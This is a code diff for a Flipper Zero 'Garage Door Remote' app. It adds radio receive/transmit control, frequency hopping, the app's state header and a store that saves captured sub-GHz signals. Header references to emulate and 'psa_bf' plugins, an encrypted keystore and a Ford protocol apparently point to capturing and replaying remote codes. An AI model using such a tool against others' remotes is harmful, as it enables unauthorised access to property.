+    const SubGhzProtocolRegistry* registry = NULL;
+    if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
+        FURI_LOG_E(
+            TAG,
+            "Failed to resolve %s registry plugin for preset apply",
+            gdr_get_protocol_registry_filter_name(filter));
+        return false;
+    }
+
+    if(app->txrx->protocol_registry == registry) {
+        return true;
+    }
+
+    FURI_LOG_I(
+        TAG,
+        "Switching active protocol registry to %s (%zu protocols)",
+        gdr_get_protocol_registry_filter_name(filter),
+        registry->size);
+    subghz_environment_set_protocol_registry(app->txrx->environment, registry);
+    app->txrx->protocol_registry = registry;
+    return true;
+}
+
+void gdr_preset_init(
+    void* context,
+    const char* preset_name,
+    uint32_t frequency,
+    uint8_t* preset_data,
+    size_t preset_data_size) {
+    furi_check(context);
+    GDRApp* app = context;
+    furi_string_set(app->txrx->preset->name, preset_name);
+    app->txrx->preset->frequency = frequency;
+    app->txrx->preset->data = preset_data;
+    app->txrx->preset->data_size = preset_data_size;
+}
+
+void gdr_get_frequency_modulation_str(
+    GDRApp* app,
+    char* frequency,
+    size_t frequency_size,
+    char* modulation,
+    size_t modulation_size) {
+    furi_check(app);
+
+    if(frequency && frequency_size > 0) {
+        unsigned long mhz = (unsigned long)((app->txrx->preset->frequency / 1000000UL) % 1000UL);
+        unsigned long khz = (unsigned long)((app->txrx->preset->frequency / 10000UL) % 100UL);
+        snprintf(frequency, frequency_size, "%03lu.%02lu", mhz, khz);
+    }
+
+    if(modulation && modulation_size > 0) {
+        snprintf(
+            modulation, modulation_size, "%.2s", furi_string_get_cstr(app->txrx->preset->name));
+    }
+}
+
+void gdr_get_frequency_modulation(
+    GDRApp* app,
+    FuriString* frequency,
+    FuriString* modulation) {
+    furi_check(app);
+
+    char frequency_buf[16] = {0};
+    char modulation_buf[8] = {0};
+    gdr_get_frequency_modulation_str(
+        app, frequency_buf, sizeof(frequency_buf), modulation_buf, sizeof(modulation_buf));
+
+    if(frequency != NULL) {
+        furi_string_set_str(frequency, frequency_buf);
+    }
+    if(modulation != NULL) {
+        furi_string_set_str(modulation, modulation_buf);
+    }
+}
+
+void gdr_begin(GDRApp* app, uint8_t* preset_data) {
+    furi_check(app);
+    if(!app->txrx->radio_device) {
+        FURI_LOG_W(TAG, "begin requested without radio device");
+        app->txrx->txrx_state = GDRTxRxStateIDLE;
+        return;
+    }
+    subghz_devices_reset(app->txrx->radio_device);
+    subghz_devices_idle(app->txrx->radio_device);
+    subghz_devices_load_preset(app->txrx->radio_device, FuriHalSubGhzPresetCustom, preset_data);
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+}
+
+uint32_t gdr_rx(GDRApp* app, uint32_t frequency) {
+    furi_check(app);
+    furi_check(app->txrx);
+    if(!app->radio_initialized || !app->txrx->radio_device || !app->txrx->worker) {
+        FURI_LOG_E(
+            TAG,
+            "RX start rejected (radio_initialized=%d, radio=%p, worker=%p)",
+            app->radio_initialized,
+            app->txrx->radio_device,
+            app->txrx->worker);
+        app->txrx->txrx_state = GDRTxRxStateIDLE;
+        return 0;
+    }
+
+    if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
+        furi_crash("GDR: Incorrect RX frequency.");
+    }
+    if(app->txrx->txrx_state == GDRTxRxStateRx ||
+       app->txrx->txrx_state == GDRTxRxStateSleep) {
+        FURI_LOG_W(TAG, "RX start ignored in state %d", app->txrx->txrx_state);
+        return app->txrx->preset ? app->txrx->preset->frequency : 0;
+    }
+
+    subghz_devices_idle(app->txrx->radio_device);
+    uint32_t value = subghz_devices_set_frequency(app->txrx->radio_device, frequency);
+    subghz_devices_flush_rx(app->txrx->radio_device);
+    subghz_devices_set_rx(app->txrx->radio_device);
+
+    subghz_devices_start_async_rx(
+        app->txrx->radio_device, subghz_worker_rx_callback, app->txrx->worker);
+
+    subghz_worker_start(app->txrx->worker);
+    app->txrx->txrx_state = GDRTxRxStateRx;
+    return value;
+}
+
+void gdr_idle(GDRApp* app) {
+    furi_check(app);
+    furi_check(app->txrx->txrx_state != GDRTxRxStateSleep);
+    if(app->txrx->radio_device) {
+        subghz_devices_idle(app->txrx->radio_device);
+    } else {
+        FURI_LOG_W(TAG, "idle requested without radio device");
+    }
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+}
+
+void gdr_rx_end(GDRApp* app) {
+    furi_check(app);
+    if(!app->txrx || app->txrx->txrx_state != GDRTxRxStateRx) {
+        return;
+    }
+
+    if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
+        subghz_worker_stop(app->txrx->worker);
+    }
+
+    if(app->txrx->radio_device) {
+        subghz_devices_stop_async_rx(app->txrx->radio_device);
+        subghz_devices_idle(app->txrx->radio_device);
+    }
+
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+}
+
+void gdr_sleep(GDRApp* app) {
+    furi_check(app);
+    subghz_devices_sleep(app->txrx->radio_device);
+    app->txrx->txrx_state = GDRTxRxStateSleep;
+}
+
+void gdr_release_shared_radio_state(GDRApp* app) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    if(app->gdr_receiver) {
+        gdr_view_receiver_reset_menu(app->gdr_receiver);
+    }
+
+    gdr_radio_deinit(app);
+}
+
+void gdr_rx_stack_suspend_for_tx(GDRApp* app) {
+    if(!app || !app->radio_initialized) {
+        return;
+    }
+
+    if(app->txrx->txrx_state == GDRTxRxStateRx) {
+        gdr_rx_end(app);
+    }
+
+    if(app->txrx->worker && subghz_worker_is_running(app->txrx->worker)) {
+        subghz_worker_stop(app->txrx->worker);
+    }
+
+    if(app->txrx->receiver) {
+        subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
+    }
+
+    if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
+        subghz_devices_idle(app->txrx->radio_device);
+        app->txrx->txrx_state = GDRTxRxStateIDLE;
+    }
+}
+
+void gdr_rx_stack_resume_after_tx(GDRApp* app) {
+    if(!app || !app->radio_initialized || !app->txrx->environment) {
+        return;
+    }
+
+    if(!gdr_refresh_protocol_registry(app, true)) {
+        FURI_LOG_E(TAG, "rx_stack_resume: failed to restore RX stack");
+    }
+}
+
+void gdr_hopper_update(GDRApp* app) {
+    furi_check(app);
+
+    switch(app->txrx->hopper_state) {
+    case GDRHopperStateOFF:
+    case GDRHopperStatePause:
+        return;
+    case GDRHopperStateRSSITimeOut:
+        if(app->txrx->hopper_timeout != 0) {
+            app->txrx->hopper_timeout--;
+            return;
+        }
+        break;
+    default:
+        break;
+    }
+    float rssi = -127.0f;
+    if(app->txrx->hopper_state != GDRHopperStateRSSITimeOut) {
+        rssi = subghz_devices_get_rssi(app->txrx->radio_device);
+
+        if(rssi > -90.0f) {
+            app->txrx->hopper_timeout = 10;
+            app->txrx->hopper_state = GDRHopperStateRSSITimeOut;
+            return;
+        }
+    } else {
+        app->txrx->hopper_state = GDRHopperStateRunning;
+    }
+
+    const size_t hopper_count = subghz_setting_get_hopper_frequency_count(app->setting);
+    if(hopper_count == 0) {
+        app->txrx->hopper_state = GDRHopperStateOFF;
+        app->txrx->hopper_idx_frequency = 0;
+        return;
+    }
+    if(app->txrx->hopper_idx_frequency < hopper_count - 1) {
+        app->txrx->hopper_idx_frequency++;
+    } else {
+        app->txrx->hopper_idx_frequency = 0;
+    }
+
+    if(app->txrx->txrx_state == GDRTxRxStateRx) {
+        gdr_rx_end(app);
+    }
+    if(app->txrx->txrx_state == GDRTxRxStateIDLE && app->txrx->receiver) {
+        subghz_receiver_reset(app->txrx->receiver);
+        app->txrx->preset->frequency =
+            subghz_setting_get_hopper_frequency(app->setting, app->txrx->hopper_idx_frequency);
+        gdr_rx(app, app->txrx->preset->frequency);
+    }
+}
+
+void gdr_tx(GDRApp* app, uint32_t frequency) {
+    furi_check(app);
+    if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) {
+        return;
+    }
+
+    furi_check(app->txrx->txrx_state == GDRTxRxStateIDLE);
+
+    subghz_devices_idle(app->txrx->radio_device);
+    subghz_devices_set_frequency(app->txrx->radio_device, frequency);
+    subghz_devices_set_tx(app->txrx->radio_device);
+
+    app->txrx->txrx_state = GDRTxRxStateTx;
+}
+
+void gdr_tx_stop(GDRApp* app) {
+    furi_check(app);
+    furi_check(app->txrx->txrx_state == GDRTxRxStateTx);
+
+    subghz_devices_idle(app->txrx->radio_device);
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+}

applications/system/Garage Door Remote/gdr_app_i.h

@@ -0,0 +1,237 @@
+// gdr_app_i.h
+#pragma once
+
+#include <stddef.h>
+#include "helpers/gdr_types.h"
+#include "helpers/gdr_settings.h"
+#include "scenes/gdr_scene.h"
+#include "views/gdr_receiver.h"
+#include "gdr_history.h"
+#include "helpers/radio_device_loader.h"
+#ifdef ENABLE_DUAL_RX_SCENE
+#include "helpers/gdr_rx_chain.h"
+#include "views/gdr_dual_receiver.h"
+#endif
+#ifdef ENABLE_SHIELD_RX_SCENE
+#include "helpers/gdr_rx_chain.h"
+#include "helpers/gdr_tx_chain.h"
+#endif
+
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/variable_item_list.h>
+#include <gui/modules/widget.h>
+#include <gui/modules/text_input.h>
+#include <notification/notification_messages.h>
+#include <lib/subghz/subghz_setting.h>
+#include <lib/subghz/subghz_worker.h>
+#include <lib/subghz/receiver.h>
+#include <lib/subghz/transmitter.h>
+#include <lib/subghz/devices/devices.h>
+#include <lib/subghz/subghz_file_encoder_worker.h>
+#include <lib/flipper_application/plugins/plugin_manager.h>
+#include <lib/flipper_application/plugins/composite_resolver.h>
+#include <dialogs/dialogs.h>
+#include "defines.h"
+#include "protocols/protocols_common.h"
+#include "protocols/protocol_items.h"
+#include "protocols/gdr_protocol_plugins.h"
+#ifdef ENABLE_EMULATE_FEATURE
+#include "scenes/plugins/gdr_emulate_plugin.h"
+#endif
+#include "scenes/plugins/gdr_psa_bf_plugin.h"
+
+#define GDR_KEYSTORE_DIR_NAME APP_ASSETS_PATH("encrypted")
+
+typedef struct GDRApp GDRApp;
+
+typedef enum {
+    GDRCaptureOwnerNone = 0,
+    GDRCaptureOwnerReceiver,
+    GDRCaptureOwnerDualReceiver,
+#ifdef ENABLE_SHIELD_RX_SCENE
+    GDRCaptureOwnerShieldReceiver,
+#endif
+    GDRCaptureOwnerSubDecode,
+} GDRCaptureOwner;
+
+typedef struct {
+    GDRHistory* history;
+    FuriMutex* mutex;
+    uint16_t index;
+    GDRCaptureOwner owner;
+} GDRSelectedCapture;
+
+typedef struct {
+    SubGhzWorker* worker;
+    SubGhzEnvironment* environment;
+    SubGhzReceiver* receiver;
+    SubGhzRadioPreset* preset;
+    const SubGhzProtocolRegistry* protocol_registry;
+    CompositeApiResolver* plugin_resolver;
+    PluginManager* protocol_plugin_manager;
+    const GDRProtocolPlugin* protocol_plugin;
+    GDRProtocolRegistryFilter protocol_registry_filter;
+    GDRHistory* history;
+    const SubGhzDevice* radio_device;
+    GDRTxRxState txrx_state;
+    GDRHopperState hopper_state;
+    GDRRxKeyState rx_key_state;
+    uint8_t hopper_idx_frequency;
+    uint8_t hopper_timeout;
+    uint16_t idx_menu_chosen;
+} GDRTxRx;
+
+struct GDRApp {
+    Gui* gui;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+    NotificationApp* notifications;
+    DialogsApp* dialogs;
+    VariableItemList* variable_item_list;
+    Submenu* submenu;
+    Widget* widget;
+    TextInput* text_input;
+    View* view_about;
+    FuriString* file_path;
+    GDRReceiver* gdr_receiver;
+    GDRTxRx* txrx;
+    SubGhzSetting* setting;
+    GDRLock lock;
+    FuriString* loaded_file_path;
+    bool auto_save;
+    bool radio_initialized;
+    GDRSettings settings;
+    uint32_t start_tx_time;
+    uint8_t tx_power;
+    char save_filename[64];
+    FuriString* save_protocol;
+    uint16_t save_history_idx;
+    bool save_from_saved_info;
+    bool emulate_disabled_for_loaded;
+    bool emulate_feature_enabled;
+    GDRSelectedCapture selected_capture;
+    GDRCaptureOwner unsaved_history_owner;
+#ifdef ENABLE_EMULATE_FEATURE
+#define EMULATE_NAV_NONE     0U
+#define EMULATE_NAV_POP      1U
+#define EMULATE_NAV_STOP_APP 2U
+    CompositeApiResolver* emulate_plugin_resolver;
+    PluginManager* emulate_plugin_manager;
+    const GDREmulatePlugin* emulate_plugin;
+    uint8_t emulate_nav_pending;
+#endif
+    CompositeApiResolver* psa_bf_plugin_resolver;
+    PluginManager* psa_bf_plugin_manager;
+    const GDRPsaBfPlugin* psa_bf_plugin;
+#ifdef ENABLE_DUAL_RX_SCENE
+    GDRDualReceiver* dual_receiver;
+    GDRRxChain* dual_chain_a;
+    GDRRxChain* dual_chain_b;
+    GDRHistory* dual_history;
+    FuriMutex* dual_history_mutex;
+    uint32_t dual_freq_a;
+    uint32_t dual_freq_b;
+    uint8_t dual_preset_a;
+    uint8_t dual_preset_b;
+#endif
+#ifdef ENABLE_SHIELD_RX_SCENE
+    GDRRxChain* shield_rx_chain;
+    GDRTxChain* shield_tx_chain;
+    GDRHistory* shield_history;
+    FuriMutex* shield_history_mutex;
+    uint32_t shield_freq;
+    uint8_t shield_preset_index;
+    uint8_t shield_tx_offset_index;
+    uint8_t shield_tx_power;
+    bool shield_auto_save_failed;
+#endif
+};
+
+#ifdef ENABLE_EMULATE_FEATURE
+void gdr_emulate_context_release(GDRApp* app);
+#endif
+
+typedef enum {
+    GDRSetTypeFord_v0,
+    GDRSetTypeMAX,
+} GDRSetType;
+
+void gdr_preset_init(
+    void* context,
+    const char* preset_name,
+    uint32_t frequency,
+    uint8_t* preset_data,
+    size_t preset_data_size);
+
+void gdr_get_frequency_modulation(
+    GDRApp* app,
+    FuriString* frequency,
+    FuriString* modulation);
+void gdr_get_frequency_modulation_str(
+    GDRApp* app,
+    char* frequency,
+    size_t frequency_size,
+    char* modulation,
+    size_t modulation_size);
+
+void gdr_begin(GDRApp* app, uint8_t* preset_data);
+uint32_t gdr_rx(GDRApp* app, uint32_t frequency);
+void gdr_idle(GDRApp* app);
+void gdr_rx_end(GDRApp* app);
+void gdr_sleep(GDRApp* app);
+void gdr_hopper_update(GDRApp* app);
+void gdr_tx(GDRApp* app, uint32_t frequency);
+void gdr_tx_stop(GDRApp* app);
+bool gdr_radio_init(GDRApp* app);
+void gdr_radio_deinit(GDRApp* app);
+bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready);
+bool gdr_apply_protocol_registry_for_preset_data(
+    GDRApp* app,
+    const uint8_t* preset_data,
+    size_t preset_data_size);
+bool gdr_ensure_variable_item_list(GDRApp* app);
+bool gdr_ensure_widget(GDRApp* app);
+bool gdr_ensure_text_input(GDRApp* app);
+bool gdr_ensure_view_about(GDRApp* app);
+bool gdr_ensure_receiver_view(GDRApp* app);
+#ifdef ENABLE_DUAL_RX_SCENE
+bool gdr_ensure_dual_receiver_view(GDRApp* app);
+#endif
+void gdr_release_shared_radio_state(GDRApp* app);
+
+void gdr_rx_stack_suspend_for_tx(GDRApp* app);
+
+void gdr_rx_stack_resume_after_tx(GDRApp* app);
+
+void gdr_selected_capture_set(
+    GDRApp* app,
+    GDRHistory* history,
+    FuriMutex* mutex,
+    uint16_t index,
+    GDRCaptureOwner owner);
+void gdr_selected_capture_clear(GDRApp* app);
+bool gdr_selected_capture_is_valid(GDRApp* app);
+GDRHistory* gdr_selected_capture_get_history(GDRApp* app);
+uint16_t gdr_selected_capture_get_index(GDRApp* app);
+GDRHistorySource gdr_selected_capture_get_source(GDRApp* app);
+FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app);
+bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path);
+void gdr_selected_capture_release_scratch(GDRApp* app);
+
+void gdr_app_free(GDRApp* app);
+
+static const NotificationSequence sequence_tx = {
+    &message_note_c5,
+    &message_vibro_on,
+    &message_red_255,
+    &message_blue_255,
+    &message_blink_start_10,
+    &message_delay_25,
+    &message_vibro_off,
+    &message_delay_25,
+    &message_sound_off,
+    NULL,
+};

applications/system/Garage Door Remote/gdr_history.c

@@ -0,0 +1,488 @@
+// gdr_history.c
+#include "gdr_history.h"
+#include "helpers/gdr_storage.h"
+#include <lib/subghz/receiver.h>
+#include <storage/storage.h>
+#include <string.h>
+#include <stdio.h>
+#include <furi.h>
+#include "defines.h"
+
+#define TAG                          "GDRHistory"
+#define HISTORY_SCRATCH_TEXT_RESERVE 256U
+#define HISTORY_SCRATCH_PATH_RESERVE 128U
+#define HISTORY_ARENA_RESERVE        1024U
+
+static uint32_t gdr_history_next_capture_seq = 0;
+
+typedef struct {
+    uint32_t seq_id;
+    uint16_t text_offset;
+    uint16_t text_len;
+    uint8_t type;
+    GDRHistorySource source;
+} GDRHistoryItem;
+
+ARRAY_DEF(GDRHistoryItemArray, GDRHistoryItem, M_POD_OPLIST)
+
+struct GDRHistory {
+    GDRHistoryItemArray_t data;
+    uint16_t last_index;
+    uint32_t last_update_timestamp[GDRHistorySourceCount];
+    uint8_t code_last_hash_data[GDRHistorySourceCount];
+    Storage* storage;
+    FlipperFormat* loaded_ff;
+    int16_t loaded_idx;
+
+    FuriString* scratch_text;
+    FuriString* scratch_path;
+    FuriString* text_arena;
+};
+
+static uint32_t gdr_history_allocate_capture_seq(void) {
+    uint32_t tick_seed = (uint32_t)(furi_get_tick() & 0x0FFFFFFF);
+    if(tick_seed == 0) {
+        tick_seed = 1;
+    }
+
+    FURI_CRITICAL_ENTER();
+    if(gdr_history_next_capture_seq == 0 ||
+       gdr_history_next_capture_seq < tick_seed) {
+        gdr_history_next_capture_seq = tick_seed;
+    }
+    uint32_t seq = gdr_history_next_capture_seq++;
+    if(gdr_history_next_capture_seq == 0) {
+        gdr_history_next_capture_seq = 1;
+    }
+    FURI_CRITICAL_EXIT();
+    return seq;
+}
+
+void gdr_history_release_scratch(GDRHistory* instance) {
+    furi_check(instance);
+    if(instance->loaded_ff) {
+        flipper_format_free(instance->loaded_ff);
+        instance->loaded_ff = NULL;
+    }
+    instance->loaded_idx = -1;
+}
+
+static void
+    gdr_history_build_path(GDRHistory* instance, uint32_t seq_id, FuriString* out) {
+    UNUSED(instance);
+    gdr_storage_build_history_path(seq_id, out);
+}
+
+static void
+    gdr_history_delete_capture_file(GDRHistory* instance, uint32_t seq_id) {
+    gdr_history_build_path(instance, seq_id, instance->scratch_path);
+    gdr_storage_delete_file(furi_string_get_cstr(instance->scratch_path));
+}
+
+static void gdr_history_delete_all_capture_files(GDRHistory* instance) {
+    size_t item_count = GDRHistoryItemArray_size(instance->data);
+    for(size_t i = 0; i < item_count; i++) {
+        GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, i);
+        gdr_history_delete_capture_file(instance, item->seq_id);
+    }
+}
+
+static void
+    gdr_history_arena_remove(GDRHistory* instance, uint16_t offset, uint16_t len) {
+    if(len == 0) return;
+
+    size_t arena_size = furi_string_size(instance->text_arena);
+
+    furi_check((size_t)offset + (size_t)len <= arena_size);
+
+    const char* arena = furi_string_get_cstr(instance->text_arena);
+    FuriString* rebuilt = furi_string_alloc();
+    furi_check(rebuilt);
+    furi_string_reserve(rebuilt, arena_size);
+    furi_string_set_strn(rebuilt, arena, offset);
+    furi_string_cat_str(rebuilt, arena + offset + len);
+    furi_string_move(instance->text_arena, rebuilt);
+
+    size_t n = GDRHistoryItemArray_size(instance->data);
+    for(size_t i = 0; i < n; i++) {
+        GDRHistoryItem* it = GDRHistoryItemArray_get(instance->data, i);
+        if(it->text_offset > offset) {
+            it->text_offset -= len;
+        }
+    }
+}
+
+GDRHistory* gdr_history_alloc(void) {
+    GDRHistory* instance = malloc(sizeof(GDRHistory));
+    furi_check(instance);
+    GDRHistoryItemArray_init(instance->data);
+    instance->last_index = 0;
+    memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
+    memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
+    instance->storage = furi_record_open(RECORD_STORAGE);
+    instance->loaded_ff = NULL;
+    instance->loaded_idx = -1;
+
+    instance->scratch_text = furi_string_alloc();
+    furi_check(instance->scratch_text);
+    furi_string_reserve(instance->scratch_text, HISTORY_SCRATCH_TEXT_RESERVE);
+
+    instance->scratch_path = furi_string_alloc();
+    furi_check(instance->scratch_path);
+    furi_string_reserve(instance->scratch_path, HISTORY_SCRATCH_PATH_RESERVE);
+
+    instance->text_arena = furi_string_alloc();
+    furi_check(instance->text_arena);
+    furi_string_reserve(instance->text_arena, HISTORY_ARENA_RESERVE);
+
+    return instance;
+}
+
+void gdr_history_free(GDRHistory* instance) {
+    furi_check(instance);
+    gdr_history_release_scratch(instance);
+    gdr_history_delete_all_capture_files(instance);
+    GDRHistoryItemArray_clear(instance->data);
+
+    if(instance->scratch_text) {
+        furi_string_free(instance->scratch_text);
+        instance->scratch_text = NULL;
+    }
+    if(instance->scratch_path) {
+        furi_string_free(instance->scratch_path);
+        instance->scratch_path = NULL;
+    }
+    if(instance->text_arena) {
+        furi_string_free(instance->text_arena);
+        instance->text_arena = NULL;
+    }
+
+    if(instance->storage) {
+        furi_record_close(RECORD_STORAGE);
+        instance->storage = NULL;
+    }
+    free(instance);
+}
+
+void gdr_history_reset(GDRHistory* instance) {
+    furi_check(instance);
+    gdr_history_release_scratch(instance);
+    gdr_history_delete_all_capture_files(instance);
+    GDRHistoryItemArray_reset(instance->data);
+    furi_string_reset(instance->text_arena);
+    instance->last_index = 0;
+    memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
+    memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
+}
+
+uint16_t gdr_history_get_item(GDRHistory* instance) {
+    furi_check(instance);
+    return GDRHistoryItemArray_size(instance->data);
+}
+
+uint16_t gdr_history_get_last_index(GDRHistory* instance) {
+    furi_check(instance);
+    return instance->last_index;
+}
+
+void gdr_history_format_status_text(
+    GDRHistory* instance,
+    char* output,
+    size_t output_size) {
+    furi_check(instance);
+    furi_check(output);
+
+    if(output_size == 0) {
+        return;
+    }
+
+    uint16_t n = gdr_history_get_item(instance);
+    if(n >= GDR_HISTORY_MAX) {
+        snprintf(output, output_size, "FULL");
+    } else {
+        snprintf(output, output_size, "%u/%u", n, GDR_HISTORY_MAX);
+    }
+}
+
+void gdr_history_get_status_text(GDRHistory* instance, FuriString* output) {
+    furi_check(instance);
+    furi_check(output);
+
+    char status_text[16];
+    gdr_history_format_status_text(instance, status_text, sizeof(status_text));
+    furi_string_set_str(output, status_text);
+}
+
+bool gdr_history_get_capture_path(
+    GDRHistory* instance,
+    uint16_t idx,
+    FuriString* out_path) {
+    furi_check(instance);
+    furi_check(out_path);
+
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        return false;
+    }
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    gdr_history_build_path(instance, item->seq_id, out_path);
+    return true;
+}
+
+bool gdr_history_capture_path_equals(
+    GDRHistory* instance,
+    uint16_t idx,
+    const char* path) {
+    furi_check(instance);
+
+    if(!path || idx >= GDRHistoryItemArray_size(instance->data)) {
+        return false;
+    }
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
+    return strcmp(furi_string_get_cstr(instance->scratch_path), path) == 0;
+}
+
+GDRHistorySource gdr_history_get_source(
+    GDRHistory* instance,
+    uint16_t idx) {
+    furi_check(instance);
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        return GDRHistorySourceUnknown;
+    }
+    return GDRHistoryItemArray_get(instance->data, idx)->source;
+}
+
+const char* gdr_history_source_name(GDRHistorySource source) {
+    switch(source) {
+    case GDRHistorySourceExternal:
+        return "External";
+    case GDRHistorySourceInternal:
+        return "Internal";
+    default:
+        return "Unknown";
+    }
+}
+
+bool gdr_history_add_to_history(
+    GDRHistory* instance,
+    void* context,
+    SubGhzRadioPreset* preset,
+    GDRHistorySource source) {
+    furi_check(instance);
+    furi_check(context);
+
+    if(source >= GDRHistorySourceCount) {
+        source = GDRHistorySourceUnknown;
+    }
+
+    if(GDRHistoryItemArray_size(instance->data) >= GDR_HISTORY_MAX) {
+        return false;
+    }
+
+    SubGhzProtocolDecoderBase* decoder_base = context;
+
+    if((instance->code_last_hash_data[source] ==
+        subghz_protocol_decoder_base_get_hash_data(decoder_base)) &&
+       ((furi_get_tick() - instance->last_update_timestamp[source]) < 500)) {
+        instance->last_update_timestamp[source] = furi_get_tick();
+        return false;
+    }
+
+    gdr_history_release_scratch(instance);
+
+    furi_string_reset(instance->scratch_text);
+    furi_string_reset(instance->scratch_path);
+
+    subghz_protocol_decoder_base_get_string(decoder_base, instance->scratch_text);
+
+    FlipperFormat* temp_ff = flipper_format_string_alloc();
+    furi_check(temp_ff);
+
+    SubGhzProtocolStatus ser =
+        subghz_protocol_decoder_base_serialize(decoder_base, temp_ff, preset);
+    if(ser != SubGhzProtocolStatusOk) {
+        FURI_LOG_E(TAG, "Serialize failed");
+        flipper_format_free(temp_ff);
+        return false;
+    }
+
+    if(source != GDRHistorySourceUnknown) {
+        flipper_format_insert_or_update_string_cstr(
+            temp_ff, "RadioDevice", gdr_history_source_name(source));
+    }
+
+    uint32_t seq = gdr_history_allocate_capture_seq();
+    bool saved = gdr_storage_save_history_capture(temp_ff, seq, instance->scratch_path);
+    flipper_format_free(temp_ff);
+
+    if(!saved) {
+        FURI_LOG_E(TAG, "Failed to save history file");
+        return false;
+    }
+
+    instance->code_last_hash_data[source] =
+        subghz_protocol_decoder_base_get_hash_data(decoder_base);
+    instance->last_update_timestamp[source] = furi_get_tick();
+
+    const char* text_cstr = furi_string_get_cstr(instance->scratch_text);
+    size_t text_len = furi_string_size(instance->scratch_text);
+    size_t offset = furi_string_size(instance->text_arena);
+    furi_check(text_len <= UINT16_MAX);
+    furi_check(offset <= UINT16_MAX);
+    furi_string_cat_str(instance->text_arena, text_cstr);
+
+    GDRHistoryItem* item = GDRHistoryItemArray_push_raw(instance->data);
+    item->seq_id = seq;
+    item->text_offset = (uint16_t)offset;
+    item->text_len = (uint16_t)text_len;
+    item->type = 0;
+    item->source = source;
+
+    instance->last_index++;
+
+    FURI_LOG_I(
+        TAG,
+        "Added item %u to history (size: %zu) seq=%lu",
+        instance->last_index,
+        GDRHistoryItemArray_size(instance->data),
+        (unsigned long)seq);
+
+    return true;
+}
+
+void gdr_history_delete_item(GDRHistory* instance, uint16_t idx) {
+    furi_check(instance);
+
+    size_t item_count = GDRHistoryItemArray_size(instance->data);
+    if(idx >= item_count) {
+        return;
+    }
+
+    if(instance->loaded_ff) {
+        if(instance->loaded_idx == (int16_t)idx) {
+            gdr_history_release_scratch(instance);
+        } else if(instance->loaded_idx > (int16_t)idx) {
+            instance->loaded_idx--;
+        }
+    }
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    uint32_t seq_id = item->seq_id;
+    uint16_t text_offset = item->text_offset;
+    uint16_t text_len = item->text_len;
+
+    gdr_history_delete_capture_file(instance, seq_id);
+    GDRHistoryItemArray_pop_at(NULL, instance->data, idx);
+    gdr_history_arena_remove(instance, text_offset, text_len);
+
+    FURI_LOG_I(
+        TAG,
+        "Deleted history item %u (size: %zu)",
+        idx,
+        GDRHistoryItemArray_size(instance->data));
+}
+
+void gdr_history_get_text_item_menu(
+    GDRHistory* instance,
+    FuriString* output,
+    uint16_t idx) {
+    furi_check(instance);
+    furi_check(output);
+
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        furi_string_set(output, "---");
+        return;
+    }
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    const char* arena = furi_string_get_cstr(instance->text_arena);
+    const char* str = arena + item->text_offset;
+    size_t remaining = item->text_len;
+
+    size_t len = 0;
+    while(len < remaining && str[len] != '\r' && str[len] != '\n') {
+        len++;
+    }
+
+    uint16_t display_idx = idx + 1;
+    const char* source_tag = "";
+    if(item->source == GDRHistorySourceExternal) {
+        source_tag = "[E] ";
+    } else if(item->source == GDRHistorySourceInternal) {
+        source_tag = "[I] ";
+    }
+    furi_string_printf(output, "%u. %s%.*s", display_idx, source_tag, (int)len, str);
+}
+
+void gdr_history_get_text_item_detail(
+    GDRHistory* instance,
+    uint16_t idx,
+    FuriString* output,
+    SubGhzEnvironment* environment) {
+    furi_check(instance);
+    furi_check(output);
+    UNUSED(environment);
+
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        furi_string_set(output, "---");
+        return;
+    }
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    const char* arena = furi_string_get_cstr(instance->text_arena);
+    furi_string_set_strn(output, arena + item->text_offset, item->text_len);
+}
+
+FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx) {
+    furi_check(instance);
+
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        return NULL;
+    }
+
+    if(instance->loaded_idx == (int16_t)idx && instance->loaded_ff) {
+        return instance->loaded_ff;
+    }
+
+    gdr_history_release_scratch(instance);
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
+
+    instance->loaded_ff = flipper_format_file_alloc(instance->storage);
+    furi_check(instance->loaded_ff);
+    if(!flipper_format_file_open_existing(
+           instance->loaded_ff, furi_string_get_cstr(instance->scratch_path))) {
+        FURI_LOG_E(
+            TAG, "Failed open history capture %s", furi_string_get_cstr(instance->scratch_path));
+        flipper_format_free(instance->loaded_ff);
+        instance->loaded_ff = NULL;
+        return NULL;
+    }
+    instance->loaded_idx = (int16_t)idx;
+    return instance->loaded_ff;
+}
+
